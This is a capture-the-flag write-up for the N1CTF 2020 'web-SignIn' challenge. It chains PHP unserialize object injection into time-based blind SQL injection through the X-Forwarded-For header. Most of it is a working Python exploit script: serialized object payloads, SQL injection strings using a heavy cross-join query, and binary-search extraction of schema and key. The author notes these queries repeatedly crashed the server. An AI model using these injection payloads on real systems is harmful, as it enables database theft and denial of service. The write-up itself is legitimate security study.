The only problem I solved in n1ctf 2020 is web-SignIn, the easiest web chall.

Approach

It provided us the source code without some details.

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 
  

Mysql database password and key value are blurred. We can guess what we should do is to get the key code.

We can execute mysql query by triggering __toString function in ip class. The stristr may internally trigger __toString function of $this->ip. By providing ip object in flag's member variable "$ip", we can trigger the SQL query.

Error based SQL Injection

I think, if I can make mysql error message with string "n1ctf", we can get feedback "welcome to n1ctf2020", otherwise, "noip". So, I tried hard to get custom error message, to Blind SQL Injection.

Just triggering error message is not difficult, but triggering error message up to result of SQL subquery was very hard. So, I surrender to do that, I tried another approach.

Time based SQL Injection

Some keywords are filtered by server. Below 3 are obviously filtered keywords

- sleep

- benchmark

- count

Also, I thought the comment meta char like - and # are filtered also.

Because of limited debugging environment, I should guess the server filter keywords with a little information.

 

Conventional Time based SQLi gadgets are all blocked, I tried another approch, the heavy query.

Insert into n1ip query repeates many times, thus, just lookup the table takes some times.

Limits

Because of many call of heavy queries, server downed repeatedly. I tried hard time to endure that phase. If there is more sophisticated exploit like error based attack, please let me know with comments!

 

Exploit

From fetching table schema where the key located, to get the key from the database.

Insert key value to $flag->check, you can get the real flag.

#!/usr/bin/env python3
import requests
import sys

url = """http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}"""

headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
}

def query(payload):
    global headers
    headers["X-Forwarded-For"] = payload
    try:
        response = requests.get(url, headers=headers, timeout=1.5)
    except requests.exceptions.ReadTimeout:
        print ("Time out!! 1.5")
        return False
    seconds = response.elapsed.total_seconds()
    # print (response.text)
    if "hackhack" in response.text:
        print ("Keyword filtered!")
    print (seconds)
    return True

print (query("Hello"))
heavyQuery = "select sum(A.time)from n1ip A, n1ip B"
print (query("asdf',({})),('a".format(heavyQuery)))

# sys.exit()

def db_name_length():
    left = 0
    right = 50
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((length(database())>={}),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def table_list_length():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((select length((GROUP_CONCAT((TABLE_NAME))))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def table_list_char(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((TABLE_NAME))),{},1))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
def get_col_len():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((select length(GROUP_CONCAT(COLUMN_NAME))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def get_cols(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((COLUMN_NAME))),{},1))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
def get_key_len():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        # if query("asdf',IF((select length(`key`)>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
        if query("asdf',IF((select length(GROUP_CONCAT(`key`))>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
            left = mid
        else:
            right = mid
    return left
def get_key(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            # if query("asdf',IF((select ascii(substr(`key`)),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((`key`))),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
# print ("db_name_length = {}".format(db_name_length())) #for query validation check
# table_list_length = 9
# table_length = table_list_length()
# print ("table_list_length = {}".format(table_length))
# table_string = "n1ip,n1key"
# table_string = table_list_char(table_length)
# print ("table_string = {}".format(table_string))
# col_len = get_col_len()
# print ("col_len = {}".format(col_len))
# cols = get_cols(col_len)
# cols = "id/key"
# print ("cols = {}".format(cols))
key_len = get_key_len()
print("key_len = {}".format(key_len))
key = get_key(key_len)
print ("key = {}".format(key))

"""
key length는 왜인지 모르겟는데 제대로 못가져옴.
key값은

n1ctf20205bf75ab0a30dfc0c
길이 25
"""

+ Recent posts